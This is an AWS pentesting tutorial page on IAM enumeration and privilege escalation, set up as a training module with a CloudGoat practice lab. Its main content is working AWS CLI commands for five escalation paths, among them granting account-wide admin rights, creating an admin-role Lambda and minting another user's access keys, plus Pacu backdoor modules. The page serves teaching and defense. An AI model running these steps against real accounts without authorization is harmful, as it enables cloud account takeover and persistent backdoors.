> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/01-iam.md).

# Module 01 — IAM Enumeration & Privilege Escalation

## 🎯 What You'll Learn

* How to enumerate IAM users, roles, and policies
* How to find your current permissions with a low-priv account
* Common privilege escalation paths in AWS IAM
* How to use Pacu to automate escalation

***

## 📖 Theory

### What is IAM?

IAM (Identity and Access Management) controls who can do what in AWS.

* **Users** → human identities with long-term credentials (Access Key + Secret)
* **Roles** → short-term credentials assumed by services or users
* **Policies** → JSON documents defining what actions are allowed
* **Groups** → collections of users sharing the same policies

### Why is IAM the #1 target?

Because a single misconfigured IAM policy can give an attacker full admin access. If a low-priv user has `iam:PassRole` or `iam:AttachUserPolicy`, game over.

***

## 🔍 Phase 1 — Who Am I?

Always start by figuring out your current identity.

```bash
# Check current identity
aws sts get-caller-identity --profile pentest

# Example output:
# {
#     "UserId": "AIDAIOSFODNN7EXAMPLE",
#     "Account": "123456789012",
#     "Arn": "arn:aws:iam::123456789012:user/dev-user"
# }
```

***

## 🔍 Phase 2 — Enumerate the Account

```bash
# List all IAM users
aws iam list-users --profile pentest

# List all IAM roles
aws iam list-roles --profile pentest

# List all IAM groups
aws iam list-groups --profile pentest

# List all policies (local + managed)
aws iam list-policies --scope Local --profile pentest

# List attached policies for a user
aws iam list-attached-user-policies --user-name dev-user --profile pentest

# List inline policies for a user
aws iam list-user-policies --user-name dev-user --profile pentest

# Read a specific policy version
aws iam get-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/DevPolicy \
  --version-id v1 \
  --profile pentest
```

***

## 🔍 Phase 3 — Brute Force Your Own Permissions

When you don't know what you can do, use `enumerate-iam`:

```bash
cd enumerate-iam

python3 enumerate-iam.py \
  --access-key AKIA... \
  --secret-key xxxx... \
  --region us-east-1

# This tests every AWS API call and tells you which ones succeed
```

Or use Pacu:

```bash
python3 pacu.py

# Inside Pacu:
set_keys                          # add your creds
run iam__enum_permissions         # enum what you can do
run iam__enum_users_roles_policies_groups  # full account enum
```

***

## ⬆️ Phase 4 — Privilege Escalation Paths

These are the most common misconfigurations that lead to admin.

### Path 1: `iam:CreatePolicyVersion`

If you can create a new policy version, you can overwrite an existing policy with `"Action": "*"`:

```bash
aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
  --set-as-default \
  --profile pentest
```

### Path 2: `iam:AttachUserPolicy`

Attach an existing admin policy to yourself:

```bash
aws iam attach-user-policy \
  --user-name dev-user \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
  --profile pentest
```

### Path 3: `iam:PassRole` + EC2/Lambda

If you can pass a role to a new EC2 or Lambda, you can run code as that role:

```bash
# Create a Lambda with an admin execution role
aws lambda create-function \
  --function-name pwn \
  --runtime python3.11 \
  --role arn:aws:iam::123456789012:role/AdminRole \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://payload.zip \
  --profile pentest

# Invoke it
aws lambda invoke --function-name pwn output.txt --profile pentest
```

### Path 4: `iam:CreateAccessKey`

Create new access keys for another user (e.g. an admin):

```bash
aws iam create-access-key --user-name admin-user --profile pentest
# Returns fresh AccessKeyId + SecretAccessKey for admin-user
```

### Path 5: `sts:AssumeRole`

If a role's trust policy allows you to assume it:

```bash
aws sts assume-role \
  --role-arn arn:aws:iam::123456789012:role/AdminRole \
  --role-session-name pwned \
  --profile pentest

# Use the returned temp creds
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
```

***

## 🤖 Automate It with Pacu

```bash
python3 pacu.py

# Inside Pacu:
run iam__privesc_scan           # automatically find escalation paths
run iam__backdoor_users_keys    # create backdoor access keys
run iam__backdoor_assume_role   # add yourself to a role's trust policy
```

***

## 🛡️ Defenses (Know What You're Bypassing)

| Attack                          | Defense                                                          |
| ------------------------------- | ---------------------------------------------------------------- |
| AttachUserPolicy                | SCPs limiting IAM actions                                        |
| CreateAccessKey for other users | CloudTrail alert on CreateAccessKey                              |
| AssumeRole                      | Condition keys in trust policies (MFA required, IP restrictions) |
| PassRole abuse                  | Limit PassRole to specific role ARNs only                        |

***

## 🧪 Practice Lab

Use CloudGoat scenario: `iam_privesc_by_rollback`

```bash
./cloudgoat.py create iam_privesc_by_rollback
# Follow the README in the scenario folder
```

***

## 📎 References

* [HackTricks IAM Privesc](https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-iam-privesc)
* [Rhino Security - AWS PrivEsc](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
* [Bishop Fox IAM Vulnerable](https://github.com/BishopFox/iam-vulnerable)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/01-iam.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.